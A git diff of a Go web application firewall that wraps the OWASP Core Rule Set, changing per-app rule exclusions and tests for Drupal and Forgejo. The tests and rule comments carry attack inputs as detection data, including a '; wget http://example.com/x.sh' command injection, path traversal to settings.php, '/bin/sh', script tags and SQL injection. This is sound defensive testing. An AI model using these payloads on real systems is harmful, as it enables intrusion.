@@ -172,7 +189,8 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
t.Parallel()
_, err := rproxyConfig(nil)
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
if err == nil ||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
}
}
@@ -188,7 +206,8 @@ func TestRProxyReadsNoFile(t *testing.T) {
}
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
if err == nil ||
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
t.Errorf("error %v, want %s still required", err, wafBackend)
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+164 -157
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the five changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// in SPEC.md describes them. It reads no response.
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,8 +16,6 @@ import (
"errors"
"fmt"
"io"
"maps"
"net"
"net/http"
"net/netip"
"os"
@@ -34,8 +32,11 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
// directives of every app in apps for the third.
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -83,24 +84,70 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too.
%s
# The apps' fixes come before the rules for the same reason.
# The eighth change comes before the rules for the same reason.
%s
# The fifth: only the rules for requests are loaded, and no response is
# The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# So does the fourteenth.
%s
# And the fifteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here without regard to case.
# ARGS holds the fields of a form data or multipart body Coraza reads as
# well as the query parameters, so a field of this name is left out too.
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: Referer is not checked for a Unix command without arguments
# or for Java starting a process.
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
`
// bodyDirectives have the Core Rule Set read the part of a request body
@@ -145,73 +192,69 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// app is an app whose ordinary requests the Core Rule Set would refuse,
// with the fixes that let them pass.
type app struct {
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
// forkOf names the app this one is a fork of, "" for none. A hostname
// that lists this app gets that app's fixes too.
forkOf string
}
//go:embed gitea.conf
var giteaDirectives string
//go:embed wordpress.conf
var wordpressDirectives string
//go:embed drupal.conf
var drupalDirectives string
//go:embed mediawiki.conf
var mediawikiDirectives string
//go:embed mastodon.conf
var mastodonDirectives string
//go:embed vaultwarden.conf
var vaultwardenDirectives string
//go:embed nextcloud.conf
var nextcloudDirectives string
//go:embed forgejo.conf
var forgejoDirectives string
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
// flash is Forgejo's name for gitea_flash.
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//nolint:gochecknoglobals // a constant cannot be a map
var apps = map[string]app{
"drupal": {directives: drupalDirectives},
"forgejo": {
directives: forgejoDirectives,
cookies: []string{"flash"},
forkOf: "gitea",
},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
//go:embed gitea.conf
var giteaExclusions string
// AppNames returns the names of the apps whose fixes sww has, in
// alphabetical order.
func AppNames() []string {
return slices.Sorted(maps.Keys(apps))
}
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf
var wordpressExclusions string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
// forgejoExclusions are the fifteenth change: the fields of Forgejo's own
// requests that skip the rules that refused them there, where Forgejo differs
// from gitea, as Coraza directives.
//
//go:embed forgejo.conf
var forgejoExclusions string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change. flash is Forgejo's name for
// gitea_flash.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
// Params are what New needs.
type Params struct {
@@ -227,11 +270,6 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets only the fixes of its hostname's
// apps and of the apps they are forks of, or of every app while Apps is
// nil.
Apps map[string][]string
}
// The ids of sww's own rules, which an exclusions file may not
@@ -254,9 +292,11 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
// directive that removes or changes rules as it loads, such as
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
// the directive finds none of them.
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"with a ctl exclusion")
var errChangesNoRule = errors.New(
"the Core Rule Set's rules load after the file; " +
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
"with a ctl exclusion",
)
// directivesIn returns the directives in text as Coraza reads them: it
// skips blank lines and comment lines, and joins a line ending in \ to
@@ -300,18 +340,27 @@ func checkExclusions(exclusions string) error {
}
if first <= lastOwnRuleID && last >= firstOwnRuleID {
return fmt.Errorf("the exclusions file names %s: %w", match[0],
errSwwRuleID)
return fmt.Errorf(
"the exclusions file names %s: %w",
match[0],
errSwwRuleID,
)
}
}
// Coraza takes the directive's name up to the first space, without
// regard to case.
name, _, _ := strings.Cut(directive, " ")
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
if lower := strings.ToLower(name); strings.HasPrefix(
lower,
"secruleremove",
) ||
strings.HasPrefix(lower, "secruleupdate") {
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
errChangesNoRule)
return fmt.Errorf(
"%s in the exclusions file changes no rule: %w",
name,
errChangesNoRule,
)
}
}
@@ -323,15 +372,13 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
apps map[string][]string
}
// New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
// New returns the Core Rule Set with the fifteen changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
// cannot be read or does not parse, or if checkExclusions refuses it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
@@ -354,13 +401,10 @@ func New(params Params) (*CoreRuleSet, error) {
}
}
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String())
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions, forgejoExclusions)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
@@ -378,9 +422,7 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
@@ -392,12 +434,11 @@ type Result struct {
Score int
}
// Inspect runs the Core Rule Set on r, a request from client, with the
// fixes of the apps appsFor names for r's hostname: on its method, its URL
// with the query, and its headers, the Cookie header without those apps'
// cookies, and on body, r's body as the caller has it, as readBody reads
// it. It returns what it found, what it read of body, and the error that
// ended the reading early, if one did.
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, and the error that ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
@@ -405,24 +446,13 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead)
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
@@ -469,7 +499,10 @@ func (c *CoreRuleSet) Inspect(
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
func (c *CoreRuleSet) readBody(
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
@@ -515,35 +548,9 @@ func score(tx types.Transaction) int {
return n
}
// appsFor returns the names of the apps whose fixes a request for host,
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
// those SWW_APPS lists for host's name, without the port and in
// lowercase, each followed by the app it is a fork of, if any.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
var names []string
for _, name := range c.apps[strings.ToLower(hostname)] {
names = append(names, name)
if apps[name].forkOf != "" {
names = append(names, apps[name].forkOf)
}
}
return names
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
File diff suppressed because it is too large. Load diff
+1 -10
View File
@@ -1,4 +1,4 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
# The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
@@ -25,13 +25,6 @@
# 932230: ls -la
# 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
@@ -330,5 +323,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+106 -43
View File
@@ -5,8 +5,6 @@ import (
"net/url"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -39,20 +37,6 @@ const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
@@ -140,15 +124,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.body)
if got.Score < drupalThreshold {
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
t.Errorf(
"POST %s %q let through: %+v",
sent.target,
sent.body,
got,
)
}
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, attack := range []string{injection, scriptTag} {
for _, field := range []string{
`"title":"` + attack + `"`,
`"body":{"value":"` + attack + `"}`,
@@ -169,7 +163,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
r := request{
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"` + attack + `"}]}`
got, _ := inspectBody(t, crs, r, body)
@@ -214,14 +212,25 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
wantPasswordFieldsPass(t, []passwordFields{
{drupalRegister, formData, pass},
{"/fr/user/register", formData, pass},
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
{
"/user/1/edit",
formData,
[]string{"current_pass", pass[0], pass[1]},
},
{"/admin/people/create", formData, pass},
{drupalJSONRegister, jsonBody, []string{value}},
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
{
"/user/1?_format=json",
jsonBody,
[]string{value, "pass.0.existing"},
},
{
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
[]string{
"data.attributes.pass.value",
"data.attributes.pass.existing",
},
},
})
}
@@ -238,7 +247,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
`../../sites/default/settings.php`,
} {
for _, field := range []string{"name", "mail"} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
r := request{
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
@@ -257,12 +270,23 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
{"ls -la", 932250},
{".htaccess@example.com", 930120},
} {
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
r := request{
http.MethodPost,
drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + kept.value + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
if got.Score < drupalThreshold ||
!slices.Contains(got.RuleIDs, kept.rule) {
t.Errorf(
"POST %s %s: %+v, want %d among them",
r.target,
body,
got,
kept.rule,
)
}
}
}
@@ -333,10 +357,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
t.Errorf(
"POST %s %s let through: %+v",
r.target,
sent.field,
got,
)
}
}
// An address keeps 932250, which refuses ls -la.
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf(
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
r.target,
got,
)
}
}
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, field := range []string{
`"title":"; wget http://example.com/x.sh"`,
`"subject":"; wget http://example.com/x.sh"`,
@@ -358,7 +407,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
}
}
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
r := request{
http.MethodPatch,
"/node/2?_format=json",
[]string{jsonBody},
}
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
got, _ := inspectBody(t, crs, r, body)
@@ -373,14 +426,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
if got.Score < drupalThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
// An address keeps 932250, which refuses ls -la.
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
}
}
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
@@ -404,7 +449,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= drupalThreshold {
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
t.Errorf(
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
}
}
}
@@ -423,7 +474,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
r = request{
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body = `{"name":"` + word + `"}`
got, _ = inspectBody(t, crs, r, body)
@@ -433,7 +488,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
}
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
r := request{
http.MethodPost,
"/fr" + drupalJSONPasswordReset,
[]string{jsonBody},
}
body := `{"mail":"` + address + `"}`
got, _ := inspectBody(t, crs, r, body)
@@ -499,7 +558,11 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
{drupalEditAccount, "mail=python3"},
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
} {
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
r := request{
http.MethodPost,
sent.path + "?" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < drupalThreshold {
+100 -18
View File
@@ -1,16 +1,9 @@
# Forgejo's fixes: on Forgejo's paths, some fields skip the rules that refused
# ordinary Forgejo requests there. Forgejo is a fork of gitea. A hostname that
# gets Forgejo's fixes gets gitea's too, so this file holds only what Forgejo
# sends and gitea does not. Each exclusion runs with the request, before the
# rules it switches off, so this file is loaded before the Core Rule Set's
# rules. Each comment names a request the rule refused.
# Unless SWW_APPS lists forgejo for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_forgejo when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_forgejo itself.
SecRule &TX:app_forgejo "@eq 0" \
"id:900670,phase:1,pass,nolog,skipAfter:END_FORGEJO"
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
# eighth change's fixes for gitea apply to its requests too, so this file holds
# only what Forgejo sends and gitea does not. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request the rule refused.
# Forgejo's search of a wiki sends the text searched for in q, which skips
# these rules there:
@@ -27,9 +20,98 @@ SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's admin page searches the names of repositories in q on /admin/repos,
# which skips the list of command names (932260) there. It refused python3.
SecRule REQUEST_FILENAME "@streq /admin/repos" \
"id:900691,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:q"
# Forgejo's search of a repository's code at a branch or a tag sends the text
# searched for in q. The search box on a repository's home page sends it there
# when Forgejo has no code indexer, as by default. A branch or tag name can
# hold a slash, as feat/docker-support does. q skips there the rules it skips
# on gitea's search of code (900600 in gitea.conf). Among them, these refused
# Forgejo's searches there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so a path under /api/ gets none of this.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/search/(?:branch|tag)/.+$" \
"id:900681,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/" \
"ctl:ruleRemoveTargetById=930110;ARGS:q,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=931100;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932130;ARGS:q,\
ctl:ruleRemoveTargetById=932140;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932235;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=932380;ARGS:q,\
ctl:ruleRemoveTargetById=933100;ARGS:q,\
ctl:ruleRemoveTargetById=933130;ARGS:q,\
ctl:ruleRemoveTargetById=933135;ARGS:q,\
ctl:ruleRemoveTargetById=934100;ARGS:q,\
ctl:ruleRemoveTargetById=934110;ARGS:q,\
ctl:ruleRemoveTargetById=934130;ARGS:q,\
ctl:ruleRemoveTargetById=941100;ARGS:q,\
ctl:ruleRemoveTargetById=941110;ARGS:q,\
ctl:ruleRemoveTargetById=941160;ARGS:q,\
ctl:ruleRemoveTargetById=941180;ARGS:q,\
ctl:ruleRemoveTargetById=941390;ARGS:q,\
ctl:ruleRemoveTargetById=942100;ARGS:q,\
ctl:ruleRemoveTargetById=942140;ARGS:q,\
ctl:ruleRemoveTargetById=942190;ARGS:q,\
ctl:ruleRemoveTargetById=942230;ARGS:q,\
ctl:ruleRemoveTargetById=944100;ARGS:q,\
ctl:ruleRemoveTargetById=944110;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
SecMarker END_FORGEJO
# A page opened from the results of that search has the search's address in
# Referer, which skips these rules then, as after gitea's searches (900601 in
# gitea.conf):
# 941110: <script>
# 941120: onClick={
# 941160: <img src=
# 942100: LIKE '%foo%'
# 944100: java.lang.Runtime
# A path under /api/ is left out here too.
SecRule REQUEST_HEADERS:Referer \
"@rx ^https?://[^/]+/[^/]+/[^/]+/search/(?:branch|tag)/[^?]+\?" \
"id:900684,phase:1,pass,nolog,chain"
SecRule REQUEST_HEADERS:Referer "!@rx ^https?://[^/]+/api/" \
"ctl:ruleRemoveTargetById=941110;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941120;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=941160;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=942100;REQUEST_HEADERS:Referer,\
ctl:ruleRemoveTargetById=944100;REQUEST_HEADERS:Referer"
# Forgejo's search of a repository's releases, on its page and in the API,
# matches q against each release's title and tag. A tag name can hold a slash.
# q skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
# Forgejo has no owner named api, so /api/v1/releases is not one.
SecRule REQUEST_FILENAME "@rx ^/(?:api/v1/repos/)?[^/]+/[^/]+/releases$" \
"id:900682,phase:1,pass,nolog,chain"
SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/releases$" \
"ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The API's search of a job's log sends the text searched for in q, which
# skips these rules there:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME \
"@rx ^/api/v1/repos/[^/]+/[^/]+/actions/jobs/[0-9]+/logs$" \
"id:900683,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
+44 -51
View File
@@ -4,59 +4,20 @@ import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// forgejo is Forgejo's name in SWW_APPS.
const forgejo = "forgejo"
// forgejoHost is the hostname of the tests of SWW_APPS that serves Forgejo.
const forgejoHost = "code.example"
